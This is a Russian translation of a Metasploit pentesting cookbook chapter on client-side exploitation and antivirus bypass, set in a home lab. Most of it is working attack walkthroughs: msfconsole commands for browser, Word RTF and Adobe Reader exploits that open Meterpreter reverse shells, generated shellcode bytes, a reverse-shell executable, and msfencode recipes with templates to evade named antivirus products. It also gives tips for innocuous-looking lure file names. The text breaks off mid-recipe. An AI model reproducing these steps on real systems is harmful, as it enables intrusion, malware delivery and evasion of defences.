Предлагаю вам перевод четвертой части книги "Metasploit Penetration Testing Cookbook". Смотрите также переводы:
Глава 4 — Эксплуатация на стороне клиента и Antivirus Bypass
В этой главе рассмотрим:
• Internet Explorer — опасные сценарии
• Internet Explorer CSS — рекурсивный вызов повреждения памяти
• Microsoft Word RTF — стек переполнения буфера
• Adobe Reader util.printf() — переполнение буфера
• msfpayload — генерирование бинарников и шелл-кода
• Обход client-side антивирусов используя msfencode
• Использование killav.rb сценария для деактивации антивирусных программ
• Более глубокий взгляд в сценарий killav.rb
• Убийство антивирусных служб из командной строки
В предыдущей статье мы сосредоточились на пентесте операционной системы (ОС). Определение ОС, это так сказать первый уровень в пентестировании, потому что не пропатченную, со старой версией операционную систему можно легко эксплуатировать. Но ситуации могут быть разными. Могут быть ситуации, в которых например, firewall будет блокировать наши пакеты при сканировании и тем самым помешает получить информацию о целевой ОС и открытых портах.
Также может быть вероятность того, что на целевой машине происходит автоматическое обновление, которое исправляет уязвимости на регулярной основе. Это также помешает нам в осуществлении атаки по известным уязвимостям. Поэтому сделаем, так сказать, шаг вперед. Т.е. будем применять эксплуатацию на стороне клиента (client-side exploitation) и обходить (bypassing) антивирусы. Для начала давайте разберем типичные векторы атаки на стороне клиента (client-side).
Предположим пентестер выяснил, что ОС на целевой машине — Windows XP SP3, а в качестве браузера по умолчанию установлен Internet Explorer 7. Таким образом он может создать вредоносный URL, который будет содержать исполняемый код с известной уязвимостью к IE7. После этого создается безобидная HTML-страничка с уязвимыми ссылками. Следующим шагом, используя социальную инженерию, будет передать ссылку HTML-странички пользователю и завлечь его щелкнуть по вредоносной ссылке. Так как ссылка содержит уязвимость IE7, то она (уязвимость) может скомпрометировать браузер и позволит выполнение вредоносного кода, после чего пентестер может получить контроль над системой. Далее можно установить в системе backdoor, вирус и т.п.
Что же сейчас произошло? Хотя на целевой системе были установлены обновления и патчи, но браузер IE7 не был обновлен, т.е. пользователь пренебрег этим. Следовательно это и позволило скомпрометировать систему.
Сценарий, который мы только что обсудили — простая атака на стороне клиента, в которой жертва (пользователь) неосознанно выполняет код, который в свою очередь использует уязвимость программного обеспечения. В случае успешного выполнения эксплоита, атакующий ставит под угрозу безопасность всей системы.
Metasploit предоставляет нам большое количество эксплоит-модулей для популярных программ, которые могут быть использованы на стороне клиента. Давайте взглянем на программы, которые мы будем эксплуатировать в этой главе: Internet Explorer, Microsoft Office Pack, Adobe Reader, Flash и т.п. Metasploit содержит несколько модулей для этих популярных программ. Давайте быстро проанализируем процесс атаки на стороне клиента в Metasploit. Наша цель: успешная атака и загрузка шелла.
Metasploit выполняет этот процесс в два простых шага:
- Генерирует соотв. вредоносную ссылку/файл. После этого начинает прослушивать определенный порт для обратного соединения с целью (for a back connection with the target). После чего отправляет вредоносную ссылку/файл пользователю.
- Теперь, когда цель выполняет вредоносную ссылку/файл, приложение получает эксплоит и Metasploit передает payload какому нибудь Windows процессу. Так что, если приложение «рухнет» от эксплоита или пользователь закроет приложение — подключение к цели останется.
Давайте приступим.
Internet Explorer — опасные сценарии
Для начала рассмотрим browser-based на стороне клиента. Элементарный процесс, использующий любой client-side эксплоит модуль, похожий на те, которые обсуждали в предыдущих главах. Единственное отличие состоит в передаче эксплоита цели. В отличие от system-based эксплоитов, client-side эксплоиты требуют ручного исполнения на целевой машине. Без паники, все станет понятно, когда мы приступим к практике.
Начнем с запуска msfconsole и выбора соотв. эксплоита. Процесс аналогичен тому, что мы обсуждали в предыдущих главах. Затем, выберем payload, который поможет нам установить шелл на целевой машине. Эксплоит, с которым будем иметь дело в этой главе — exploit/windows/browser/ie_unsafe_scripting.
Примечание: этот эксплойт, как известно, влияет на Internet Explorer версий 6 и 7, которые установлены по умолчанию в Windows XP и 2003. Но он с успехом запустился на Windows 7 Ultimate с Internet Explorer 8 (unpatched).
Этот эксплоит работает, когда Initialize and script ActiveX controls not marked as safe установлен в IE. Параметр может быть найден — Tools | Internet Options | Security | Custom Level | Initialize and script ActiveX controls not marked as safe | Enable.
Такие настройки могут быть сделаны и в других версиях Internet Explorer. В этом рецепте мы будем эксплуатировать две цели:
- Windows XP SP2 с IE 7
- Windows 7 с IE 8
Итак запускаем msfconsole и устанавливаем соотв. эксплоит. В качестве payload будем использовать reverse_tcp, чтобы получить шелл:
msf > use exploit/windows/browser/ie_unsafe_scripting msf exploit(ie_unsafe_scripting) > set payload windows/meterpreter/reverse_tcp payload => windows/meterpreter/reverse_tcp msf exploit(ie_unsafe_scripting) > show options Module options (exploit/windows/browser/ie_unsafe_scripting): Name Current Setting Required Description ---- --------------- -------- ----------- SRVHOST 0.0.0.0 yes The local host to.. SRVPORT 8080 yes The local port to.. SSL false no Negotiate SSL.. SSLCert no Path to a custom SSL.. SSLVersion SSL3 no Specify the version.. URIPATH no The URI to use for.. Payload options (windows/meterpreter/reverse_tcp): Name Current Setting Required Description ---- --------------- -------- ----------- EXITFUNC process yes Exit technique: seh.. LHOST yes The listen address LPORT 4444 yes The listen port Exploit target: Id Name -- ---- 0 Automatic msf exploit(ie_unsafe_scripting) > set LHOST 192.168.56.101 LHOST => 192.168.56.101
Теперь наш эксплоит, а так же payload находятся в активном состоянии. Как видно, мы не использовали здесь RHOST опцию, так как это client-based атака. Посмотрим, что произойдет при запуске. Выполним команду exploit:
msf exploit(ie_unsafe_scripting) > exploit [*] Exploit running as background job. [*] Started reverse handler on 192.168.56.101:4444 [*] Using URL: http://0.0.0.0:8080/2IGIaOJQB [*] Local IP: http://192.168.56.101:8080/2IGIaOJQB [*] Server started.
В результате сгенерировалась вредоносная ссылка (http://192.168.56.101:8080/2IGIaoJQB), которую мы пошлем нашим целям. Кроме того, в последней строке говорится «Server started» -> будем прослушивать соединение 4444 порта на целевой машине. Сперва проанализируем выполнение ссылки на Windows XP.
Браузер будет пытаться загрузить страницу, но в конце концов ничего не будет отображаться. В свою очередь, браузер либо зависнет, либо будет бездействовать. Но вы заметите некоторую активность в msfconsole. Эта активность будет примерно след. содержания:
msf exploit(ie_unsafe_scripting) > [*] Request received from 192.168.56.102:1080... [*] Encoding payload into vbs/javascript/html... [*] Sending exploit html/javascript to 192.168.56.102:1080... [*] Exe will be uunqgEBHE.exe and must be manually removed from the %TEMP% directory on the target. Sending stage (752128 bytes) to 192.168.56.102 [*] Meterpreter session 1 opened (192.168.56.101:4444 ->192.168.56.102:1081) at 2011-11-12 21:09:26 +0530
Отлично! У нас есть активная сессия с целевой машиной. В выводе выше видно, что исполняемый файл был создан в папке temp на целевой машине.
Теперь посмотрим, как вредоносная ссылка будет вести себя, если ее передать Windows 7 с IE8. Нужно учесть, что Internet Explorer покажет предупреждающее сообщение. При нажатии кнопки Allow, начнет выполняться наш внешний скрип, что может привести к зависанию браузера:
Перейдем в msfconsole и посмотрим выполнение атаки:
msf exploit(ie_unsafe_scripting) > [*] Request received from 192.168.56.1:51115... [*] Encoding payload into vbs/javascript/html... [*] Sending exploit html/javascript to 192.168.56.1:51115... [*] Exe will be uddoE.exe and must be manually removed from the %TEMP% directory on the target. [*] Sending stage (752128 bytes) to 192.168.56.1 [*] Meterpreter session 2 opened (192.168.56.101:4444 ->192.168.56.1:51116) at 2011-11-12 21:15:47 +0530
Мы получили еще одну активную сессию с Windows 7. Начнем работать с нашими сессиями:
msf exploit(ie_unsafe_scripting) > sessions Active sessions =============== Id Type Information Connection -- ---- ----------- ---------- 1 meterpreter x86/win32 DARKLORD-9CAD38\darklord 2 meterpreter x86/win32 HackingAlert-PC\hackingalert
Как видим, команда sessions показывает список активных сессий. Одна из них — Windows XP, другая — Windows 7. Давай поработаем с Windows 7:
msf exploit (ie_unsafe_scripting) > sessions -i 1 meterpreter > shell Process 4844 created. Channel 1 created. Microsoft Windows [Version 6.1.7264] Copyright (c) 2009 Microsoft Corporation. All rights reserved. C:\Windows\system32>
Процесс выполнения эксплоита должен быть понятен. Но давайте сфокусируемся на причинах. Когда "Initialize and script ActiveX controls not marked safe for scripting" включен, то он позволяет получить доступ к WScript.Shell ActiveX. Объект WScript.Shell в свою очередь предоставляет доступ к функциям: чтение файловой системы, переменные окружения, читать/изменять реестр, а также управлять ярлыками. Эта особенность WScript.Shell позволяет атакующему создать JavaScript для взаимодействия с файловой системой и выполнения системных команд.
Теперь поговорим об еще одном важном browser-based эксплоите.
Internet Explorer Aurora — повреждение памяти
Это еще один широко используемый эксплоит для IE, который вышел в свет в середине 2010 года. Он был ключевым звеном в атаке "Операция Аврора". Этот эксплоит использует ошибку повреждения памяти в IE 6. Изучение эксплоита кладется на ваши плечи, в Metasploit его можно найти по след. адресу — exploit/windows/browser/ms10_002_aurora.
Internet Explorer CSS — рекурсивный вызов повреждения памяти
Этот эксплоит, как известно, влияет на работу Windows 7 и Windows Server 2008 с IE 8 в качестве браузера по умолчанию. Процесс настройки эксплоита аналогичен предыдущему. Так что давайте быстро его протестируем. Наша цель машина Windows 7 Ultimate Edition с IE 8 (unpatched).
Начнем с запуска msfconsole. В качестве эксплоита воспользуемся exploit/windows/browser/ms11_003_ie_css_import, а payload — windows/meterpreter/bind_tcp, который поможет нам в получении шелла:
msf > use exploit/windows/browser/ms11_003_ie_css_import msf exploit(ms11_003_ie_css_import) > set payload windows/meterpreter/reverse_tcp payload =>windows/meterpreter/reverse_tcp smsf exploit(ms11_003_ie_css_import) > set LHOST 192.168.56.101 LHOST =>192.168.56.101 msf exploit(ms11_003_ie_css_import) > exploit [*] Exploit running as background job. [*] Started reverse handler on 192.168.56.101:4444 [*] Using URL: http://0.0.0.0:8080/K9JqHoWjzyAPji [*] Local IP: http://192.168.56.101:8080/K9JqHoWjzyAPji [*] Server started.
Как видим, extploit и payload были установлены с различными параметрами. После выполнения команды exploit, сгенерировалась вредоносная ссылка — 192.168.56.101:8080/K9JqHoWjzyAPji, которая должна быть передана целевой системе. После того, как пользователь выполнит ее, браузер будет «заморожен» и будет потреблять большое кол-во ресурсов. Цель будет вынуждена закрыть браузер. Посмотрим, что происходит в msfconsole:
[*] 192.168.56.1:52175 Received request for "/K9JqHoWjzyAPji/\xEE\x80\xA0\xE1\x81\x9A\xEE\x80\xA0\xE1\x81\x9A\xEE\x80\xA0\xE1\x81\x9A\xEE\x80\xA0\xE1\x81\x9A" [*] 192.168.56.1:52175 Sending windows/browser/ms11_003_ie_css_import CSS [*] Sending stage (752128 bytes) to 192.168.56.1 [*] Meterpreter session 1 opened (192.168.56.101:4444 -> 192.168.56.1:52176) at 2011-11-15 13:18:17 +0530 [*] Session ID 1 (192.168.56.101:4444 ->192.168.56.1:52176) processing InitialAutoRunScript 'migrate -f' [*] Current server process: iexplore.exe (5164) [*] Spawning notepad.exe process to migrate to [+] Migrating to 5220 [+] Successfully migrated to process
После успешного выполнения уязвимости у нас появилась сессия. Но происходит еще кое что, а именно InitialAutoRunScript выполняет команду migrate -f, которая переносит процесс с iexplore.exe на notepad.exe. Таким образом, если пользователь закроет браузер, у нас по прежнему останется активная сессия, так как мы перешли на другой процесс.
Давайте проанализируем эту уязвимость. Когда HTML-парсер Microsoft (mshtml) анализирует HTML-страницу, которая рекурсивно импортирует один и тот же CSS-файл, это приводит к повреждению памяти и позволяет выполнение произвольного кода. Рассмотрим след. HTML-код:
// html file <link href="css.css" rel="stylesheet" type="text/css" /> // css file *{ color:red; } import url("css.css"); import url("css.css"); import url("css.css"); import url("css.css");
Видим, что один и тот же CSS-файл выполняется четыре раза подряд. Когда mshtml просматривает эту HTML-страницу, то это приводит к повреждению памяти. Этот эксплоит использует комбинацию из heap-spraying и .NET 2.0 mscorie.dll модуль для обхода DEP и ASLR. С чрезмерным потреблением системных ресурсов, он выходит из строя. Используя эту уязвимость, злоумышленник получает те же права, что и вошедший в систему пользователь:
На скриншоте видны последствия: IE потребляет большое кол-во ресурсов. И также виден процесс notepad.exe, который запущен в фоновом режиме.
Существует распространенная ошибка, с которой мы можем столкнуться при выполнении этого эксплоита — "Target machine does not have the .NET CLR 2.0.50727". Причина этой ошибки не потому, что. Net отсутствует, а потому что Internet Explorer не установлен в качестве браузера по умолчанию. Поэтому нужно, чтобы IE на целевой системе был в качестве браузера по умолчанию.
Microsoft Word RTF — стек переполнения буфера
В предыдущих двух рецептах мы рассматривали browser-based эксплоиты. В этом рецепте сосредоточимся на таком популярном продукте от Microsoft, как Microsoft Office. Переполнение RTF буфера существует в версиях 2007 и 2010 Office.
Запускаем msfconsole. В качестве эксплоита будем использовать exploit/windows/fileformat/ms10_087_rtf_pfragments_bof, а в качестве payload — windows/meterpreter/reverse_tcp (да да, для создания сессии):
msf > use exploit/windows/fileformat/ms10_087_rtf_pfragments_bof msf exploit(ms10_087_rtf_pfragments_bof) > set payload windows/meterpreter/reverse_tcp payload => windows/meterpreter/reverse_tcp msf exploit(ms10_087_rtf_pfragments_bof) > show options Module options (exploit/windows/fileformat/ms10_087_rtf_pfragments_bof): Name Current Setting Required Description ---- --------------- -------- ----------- FILENAME msf.rtf yes The file name. Payload options (windows/meterpreter/reverse_tcp): Name Current Setting Required Description ---- --------------- -------- ----------- EXITFUNC process yes Exit technique: seh.. LHOST yes The listen address LPORT 4444 yes The listen port Exploit target: Id Name -- ---- 0 Automatic
Эксплоит содержит параметр FILENAME, который содержит информацию о вредоносном файле, который будет создан. Видим, что значение по умолчанию msf.rtf. Давайте изменим его на менее броское имя. Нам также нужно задать параметр LHOST (local host) -> IP-адрес атакующего:
msf exploit(ms10_087_rtf_pfragments_bof) > set FILENAME priceinfo.rtf FILENAME => priceinfo.rtf msf exploit(ms10_087_rtf_pfragments_bof) > set LHOST 192.168.56.101
Теперь выполним команду exploit:
msf exploit(ms10_087_rtf_pfragments_bof) > exploit [*] Creating 'priceinfo.rtf' file... [+] priceinfo.rtf stored at /root/.msf4/local/priceinfo.rtf
Metasploit создал файл — /root/.msf4/local/priceinfo.rtf. Следующим шагом нужно будет передать этот файл пользователю, например по почте или через другие среды. Когда файл будет выполнен, Microsoft Word зависнет или произойдет сбой (зависит от системы). В это же время, вредоносный файл выполнит эксплоит и обеспечит нас активной сессией. Для того, чтобы сделать устойчивое соединение, exploit «перенесет» самого себя на другой процесс, который будет работать в фоновом режиме:
Sending stage (752128 bytes) to 192.168.56.1 [*] Meterpreter session 2 opened (192.168.56.101:4444 ->1 92.168.56.1:57031) at 2011-11-13 23:16:20 +0530 [*] Session ID 2 (192.168.56.101:4444 ->192.168.56.1:57031) processing InitialAutoRunScript 'migrate -f' [*] Current server process: WINWORD.EXE (5820) [*] Spawning notepad.exe process to migrate to [+] Migrating to 5556 [+] Successfully migrated to process
Существует еще один популярный эксплоит для Microsoft Word, который остается на вас. Microsoft Excel 2007 buffer overflow (exploit/windows/fileformat/ms11_021_xlb_bof).
Adobe Reader util.printf() переполнение буфера
PDF является одним из наиболее широко используемых форматов для обмена файлами и документами. Таким образом, использовать его в качестве потенциального оружия — отличная идея. Эксплоит, который мы будет обсуждать здесь подходит для Adobe Reader до версии 8.1.3.
Наша цель — Windows XP SP3, на которой работает Adobe Reader версии 8.1.
Запускаем msfconsole. В качестве эксплоита возьмем exploit/windows/fileformat/adobe_utilprintf, а payload — windows/meterpreter/reverse_tcp:
msf > use exploit/windows/fileformat/adobe_utilprintf msf exploit(adobe_utilprintf) > set payload windows/meterpreter/reverse_tcp payload => windows/meterpreter/reverse_tcp msf exploit(adobe_utilprintf) > show options Module options (exploit/windows/fileformat/adobe_utilprintf): Name Current Setting Required Description ---- --------------- -------- ----------- FILENAME msf.pdf yes The file name. Payload options (windows/meterpreter/reverse_tcp): Name Current Setting Required Description ---- --------------- -------- ----------- EXITFUNC process yes Exit technique: seh.. LHOST yes The listen address LPORT 4444 yes The listen port Exploit target: Id Name -- ---- 0 Adobe Reader v8.1.2 (Windows XP SP3 English)
Видно, что эксплоит пригден для Adobe Reader v8.1.2 и Windows XP SP3. Поэтому успех будет зависеть от версии Adobe Reader и Windows. Эксплоит так же содержит параметр FILENAME, в котором будет задаваться имя вредоносного файла, а также LHOST параметр:
msf exploit(adobe_utilprintf) > set FILENAME progressreport.pdf FILENAME => progressreprt.pdf msf exploit(adobe_utilprintf) > set LHOST 192.168.56.101 LHOST => 192.168.56.101
Теперь выполняем эксплоит:
msf exploit(adobe_utilprintf) > exploit [*] Creating 'progressreport.pdf' file... [+] progressreport.pdf stored at /root/.msf4/local/progressreport.pdf
Вредоносный PDF-файл создан и находится в /root/.msf4/local/progressreport.pdf.
На этот раз мы применим другой подход для прослушивания обратного соединения. Представим себе ситуацию, что вы случайно закрыли msfconsole. Что теперь делать, создавать PDF-файл заново? Нет, в Metasploit существует специальный модуль, который может быть использован для запуска «слушателя» (listener), так что можно будет продолжить с процесса использующего те же файлы/ссылки, которые были сгенерированны для client-side атаки. Рассмотрим ситуацию, когда мы создали вредоносный PDF-файл, но еще не использовали его для client-side атаки. Так что давайте откроем заново msfconsole и воспользуемся модулем exploit/multi/handler, который будет выступать в качестве «слушателя» обратного соединения:
msf > use exploit/multi/handler msf exploit(handler) > show options Module options (exploit/multi/handler): Name Current Setting Required Description ---- --------------- -------- ----------- Exploit target: Id Name -- ---- 0 Wildcard Target msf exploit(handler) > set payload windows/meterpreter/reverse_tcp payload => windows/meterpreter/reverse_tcp msf exploit(handler) > show options Module options (exploit/multi/handler): Name Current Setting Required Description ---- --------------- -------- ----------- Payload options (windows/meterpreter/reverse_tcp): Name Current Setting Required Description ---- --------------- -------- ----------- EXITFUNC process yes Exit technique: she.. LHOST yes The listen address LPORT 4444 yes The listen port Exploit target: Id Name -- ---- 0 Wildcard Target msf exploit(handler) > set LHOST 192.168.56.101 LHOST => 192.168.56.101
Осталось выполнить команду exploit:
msf exploit(handler) > exploit [*] Started reverse handler on 192.168.56.101:4444
Готово. После того, как PDF-файл будет запущен на целевой машине, мы сможем получить обратное соединение с целью.
Как только PDF-файл будет запущен, Adobe Reader зависнет, что приведет к отказу в обслуживании, а в Metasploit увидим, что была создана сессия:
[*] Started reverse handler on 192.168.56.101:4444 [*] Starting the payload handler... [*] Sending stage (752128 bytes) to 192.168.56.102 [*] Meterpreter session 1 opened (192.168.56.101:4444 ->192.168.56.102:1035) at 2011-11-25 12:29:36 +0530 meterpreter > shell Process 1880 created. Channel 1 created. Microsoft Windows XP SP3 (C) Copyright 1985-2001 Microsoft Corp. E:\>
Эта проблема была выявлена в уязвимых версия Adobe Reader использующих JavaScript функцию util.printf(). Функция сначала конвертирует аргумент (получает строку), используя только первые 16 знаков в аргументе и заполняет остальные с фиксированным значением «0» (0x30). Передавая очень большую и правильно отформатированную команду функции, можно перезаписать память программы и контролировать ее поток выполнения. Metasploit модуль создает специальный PDF-файл, который встраивает JavaScript код для манипулирования/управления памятью программы. Это может позволить атакующему выполнить произвольный код с привилегиями пользователя, запустившего приложение Adobe Reader.
Рассмотрим след. две строки JavaScript, встроенных в PDF:
var num = 1.2 util.printf("%5000f",num)
Это две строки вызывают байт 0x20 для копирования 5000 раз в стеке. Это позволяет получить контроль над обработчиком исключений.
msfpayload — генерирование бинарников и шелл-кода
Итак, мы обсудили много методов, которые могут быть использованы для проникновения на целевую машину, используя client-side атаки. Все эти уязвимости используются в разных частях программного обеспечения. Но может быть сценарий, в котором эти техники будут бессильны.
Metasploit предоставляет еще одно решение, в котором можно выполнять client-side атаки не заботясь о программном обеспечении, использующиеся на целевой системе. msfpayload, как раз то самое решение. Давайте быстро посмотрим, что такое msfpayload и для чего нужно, а потом сразу к практике.
msfpayload — это экземпляр командной строки Metasploit, который используется для создания различных типов файлов (shellcodes), которые доступны в репозитории Metasploit’a. Доступные опции: C, Ruby, Raw, Exe, Dll, VBA, и War. Используя msfpayload, мы можем конвертировать любой Metasploit shellcode в один из этих форматов. После чего он может быть передан цели для выполнения.
Главный недостаток msfpayload в том, что его легко обнаруживают антивирусные программы, когда он исполняется на целевой машине.
Давайте начнем экспериментировать с msfpayload. Для начала посмотрим, как его использовать. Для этого введем след. команду:
root@bt:~# msfpayload -h Usage: /opt/framework3/msf3/msfpayload [<options>] <payload>[var=val] <[S]ummary|C|[P]erl|Rub[y]|[R]aw|[J]s|e[X]e|[D]ll|[V]BA|[W]ar>
Для того, чтобы посмотреть список доступных шеллкодов введите команду msfpayload -l.
Теперь посмотрим, как мы можем сгенерировать конкретный шеллкод на языке СИ. В качестве payload будем использовать windows/shell/reverse_tcp:
root@bt:~# msfpayload windows/shell/reverse_tcp o Name: Windows Command Shell, Reverse TCP Stager Module: payload/windows/shell/reverse_tcp Version: 10394, 11421 Platform: Windows Arch: x86 Needs Admin: No Total size: 290 Rank: Normal Basic options: Name Current Setting Required Description ---- --------------- -------- ----------- EXITFUNC process yes Exit technique: seh.. LHOST yes The listen address LPORT 4444 yes The listen port
Обратите внимание на опцию о. Он нам нужна, чтобы отобразить параметры шеллкода. Теперь передадим параметры шеллкоду:
root@bt:~# msfpayload windows/shell/reverse_tcp LHOST=192.168.56.101 LPORT=4441 o
После того как передали параметры LHOST и LPORT, след. шагом будет сгенерировать СИ код (вывод был сокращен):
root@bt:~# msfpayload windows/shell/reverse_tcp LHOST=192.168.56.101 LPORT=4441 C /* * windows/shell/reverse_tcp - 290 bytes (stage 1) * http://www.metasploit.com * VERBOSE=false, LHOST=192.168.56.101, LPORT=4441, * ReverseConnectRetries=5, EXITFUNC=process, * InitialAutoRunScript=, AutoRunScript= */ unsigned char buf[] = "\xfc\xe8\x89\x00\x00\x00\x60\x89\xe5\x31\xd2\x64\x8b\x52\x30" "\x8b\x52\x0c\x8b\x52\x14\x8b\x72\x28\x0f\xb7\x4a\x26\x31\xff" "\x31\xc0\xac\x3c\x61\x7c\x02\x2c\x20\xc1\xcf\x0d\x01\xc7\xe2" "\xf0\x52\x57\x8b\x52\x10\x8b\x42\x3c\x01\xd0\x8b\x40\x78\x85" "\xc0\x74\x4a\x01\xd0\x50\x8b\x48\x18\x8b\x58\x20\x01\xd3\xe3" "\x3c\x49\x8b\x34\x8b\x01\xd6\x31\xff\x31\xc0\xac\xc1\xcf\x0d" "\x01\xc7\x38\xe0\x75\xf4\x03\x7d\xf8\x3b\x7d\x24\x75\xe2\x58" "\x8b\x58\x24\x01\xd3\x66\x8b\x0c\x4b\x8b\x58\x1c\x01\xd3\x8b" "\x04\x8b\x01\xd0\x89\x44\x24\x24\x5b\x5b\x61\x59\x5a\x51\xff" "\xe0\x58\x5f\x5a\x8b\x12\xeb\x86\x5d\x68\x33\x32\x00\x00\x68" "\x77\x73\x32\x5f\x54\x68\x4c\x77\x26\x07\xff\xd5\xb8\x90\x01"
Заглавная буква С в командной строке, говорит что шелл-код сгенерирован на Си. Так же можно использовать опции для генерации шелл-кодов на языках Ryby и Perl.
Давайте перейдем к след. шагу в генерировании бинарного шелл-кода (shellcode), который может использоваться в cliet-side атаках.
root@bt:~# msfpayload windows/shell/reverse_tcp LHOST=192.168.56.101 X >.local/setup.exe Created by msfpayload (http://www.metasploit.com). Payload: windows/shell/reverse_tcp Length: 290 Options: {"LHOST"=>"192.168.56.101"}
Обратите внимание на параметры, которые ввели в командной строке. Мы использовали X параметр, чтобы сгенерировать exe-файл. Он был создан в папке .local с именем setup.exe.
Теперь, когда исполняемый файл готов, мы создадим «слушателя (listener)» в msfconsole, чтобы прослушивать соединение, когда exe-файл будет запущен:
msf > use multi/handler msf exploit(handler) > set payload windows/shell/reverse_tcp payload =>windows/shell/reverse_tcp msf exploit(handler) > set LHOST 192.168.46.101 msf exploit(handler) > exploit [-] Handler failed to bind to 192.168.46.101:4444 [*] Started reverse handler on 0.0.0.0:4444 [*] Starting the payload handler
Заметьте, что мы использовали тот же payload и передали те же значения параметров, которые использовали при создании исполняемого файла. Теперь наш «слушатель» готов для получения обратной связи (reverse connection). Как только пользователь на целевой системе (Windows; до Windows 7) выполнит вредоносный exe-файл, мы получим шелл.
Обход client-side антивирусов используя msfencode
В предыдущем рецепте мы сосредоточились на том, как создавать выполняемый shellcode и использовать его, как оружие для cliet-side атак. Но некоторые выполняемые файлы легко обнаруживаются антивирусами, что помешает нам в выполнении атаки. И, что же теперь делать? Для этого рассмотрим след. уровень атаки — обход антивирусной защиты. Эффективным методом является кодирование исполняемых файлов.
Антивирусы используют сигнатурный метод, в котором они проверяют код первых строк файла с ихней базой данных. Если совпадение найдено, то файл рассматривается как угроза. Одним словом — автомат. Если да, то да. Нет, значит нет. Поэтому будем эксплуатировать эту технику, чтобы обойти защиту антивирусов. Msfencode — эффективная утилита, которая кодирует shellcodes и следовательно делает их менее восприимчивыми к антивирусам. Msfencode предоставляет нам множество вариантов кодирования.
Существует важный момент перед началом. Успех состоит из двух факторов: типа шеллкода и антивируса запущенного на целевой машине. Этот рецепт включает в себя множество экспериментов для определения, какой шелл выбрать и какой тип кодирования использовать для обхода антивируса. Здесь, у нас есть две цели. Одна из них — Windows XP SP2 с AVG 10 (free version), а также Windows 7 Ultimate, на которой запущен ESET NOD32 (full and updated version). Сначала обсудим простой вариант, т.е. машина Windows XP SP2 с AVG 10 (free version), а потом вторую.
Как правило msfencode работает вместе с командой msfpayload для кодирования и создания shellcode. Сначала запустим msfencode. Запуск команды msfencode -h отображает доступные параметры, а msfencode -l показывает различные типы кодирования:
root@bt:~# msfencode -l Framework Encoders ================== Name Rank Description ---- ---- ----------- cmd/generic_sh good Generic Shell Variable Substitution Command Encoder cmd/ifs low Generic ${IFS} Substitution Command Encoder cmd/printf_php_mq manual printf(1) via PHP magic_quotes Utility Command Encoder generic/none normal The "none" Encoder mipsbe/longxor normal XOR Encoder mipsle/longxor normal XOR Encoder php/base64 great PHP Base64 encoder ppc/longxor normal PPC LongXOR Encoder ppc/longxor_tag normal PPC LongXOR Encoder sparc/longxor_tag normal SPARC DWORD XOR Encoder x64/xor normal XOR Encoder x86/alpha_mixed low Alpha2 Alphanumeric Mixedcase Encoder x86/alpha_upper low Alpha2 Alphanumeric Uppercase Encoder x86/avoid_utf8_tolower manual Avoid UTF8/tolower x86/call4_dword_xor normal Call+4 Dword XOR Encoder x86/context_cpuid manual CPUID-based Context Keyed Payload Encoder x86/context_stat manual stat(2)-based Context Keyed Payload Encoder x86/context_time manual time(2)-based Context Keyed Payload Encoder x86/countdown normal Single-byte XOR Countdown Encoder x86/fnstenv_mov normal Variable-length Fnstenv/mov Dword XOR Encoder x86/fnstenv_mov normal Variable-length Fnstenv/mov Dword XOR Encoder x86/jmp_call_additive normal Jump/Call XOR Additive Feedback Encoder x86/nonalpha low Non-Alpha Encoder x86/nonupper low Non-Upper Encoder x86/shikata_ga_nai excellent Polymorphic XOR Additive Feedback Encoder x86/single_static_bit manual Single Static Bit x86/unicode_mixed manual Alpha2 Alphanumeric Unicode Mixedcase Encoder x86/unicode_upper manual Alpha2 Alphanumeric Unicode Uppercase Encoder
Как видим во фреймворке используется много кодировщиков, которые используют различные типы обфускации шеллкода.
Я разделил этого рецепт на три различных случая, чтобы дать большее представление и понимание процесса. А также, чтобы развить вашу собственную логику.
Случай 1. Кодирование простого шелла:
root@bt:~# msfpayload windows/shell/reverse_tcp LHOST=192.168.56.101 R | msfencode -e cmd/generic_sh -c 2 -t exe >.local/encoded.exe [*] cmd/generic_sh succeeded with size 290 (iteration=1) [*] cmd/generic_sh succeeded with size 290 (iteration=2)
Итак, мы использовали windows/shell/reverse_tcp шелл и сгенерировали «сырой» файл используя параметр R. Затем поместили в конвейер "|" команду msfencode. Параметр -e используется для определения типа кодирования, в нашем случае cmd/generic_sh. Параметр -c предоставляет число итераций, а -t параметр указывает на тип файла. Наконец, файл encoded.exe помещается в папку .local. Когда encoded.exe выполнит client-side атаку на двух целях, то его с легкостью обнаружат обе цели: Windows XPс AVG 10 и Windows 7с NOD32. Возможно нам предоставится шелл, но все действия будут блокироваться антивирусами.
Случай 2. Теперь будем увеличивать сложность кодирования, добавляя дефолтные windows exe шаблоны в шелл, а также за счет увеличения числа итераций кодирования. Дефолтные шаблоны (например calc.exe или cmd.exe) помогут создать менее подозрительный файл. Windows шаблоны находятся в директории /opt/framework3/msf3/lib/msf/util/../../../data/templates.
Вы можете добавить любой исполняемый файл Windows в эту папку, а потом использовать его в шаблоне. Здесь, автор скопировал cmd.exe в папку, чтобы использовать его в качестве шаблона для шелла.
root@bt:~# msfpayload windows/shell/reverse_tcp LHOST=192.168.56.101 R | msfencode -e x86/shikata_ga_nai -c 20 -t exe -x cmd.exe>.local/cmdencoded.exe
Единственным дополнительным параметром является -x, который используется для указания альтернативного шаблона. Также изменили стиль кодирования на shikata_ga_nai. Число итераций также была увеличена до 20. Исполняемый файл хорошо обходит антивирус AVG 10 запущенный на WIndows XP. Но, к сожалению, он был обнаружен на целевой системе (Windows 7), которая использовала послед. версию NOD32. Так что он (вредоносный файл) может быть использован для обхода старых версий антивирусов. Следующая проблема в том, что не удалось запустить шелл на Windows 7/Server 2008 машинах, даже в том случае, когда они использовали старые версии антивирусов. Шелл-код «падает» при исполнении (из за шаблона) и даже, если он обходит антивирус, то его все равно не удается запустить на новых версиях Windows.
Случай 3. Здесь будем преодолевать недостатки, с которыми столкнулись в предыдущем случае. Будем генерировать скрипт на стороне клиента (client-side), а не исполняемый файл. Хорошо известным сценарием на стороне клиента для платформы Windows, является Visual Basic Script (.vbs). Эта техника может использоваться для обхода любых антивирусов, известных на сегодняшний день под управлением последней версии Windows. Причина, по которой VB-скрипты являются потенциальной угрозой для обхода антивирусов в том, что они никогда не рассматриваются антивирусными программами, как угроза. И эта является причиной, почему их подписи никогда не сопоставляются с файлом сценария VB. Давайте создадим вредоносный VB-скрипт. Для этого нам понадобятся msfpayload и msfencode.
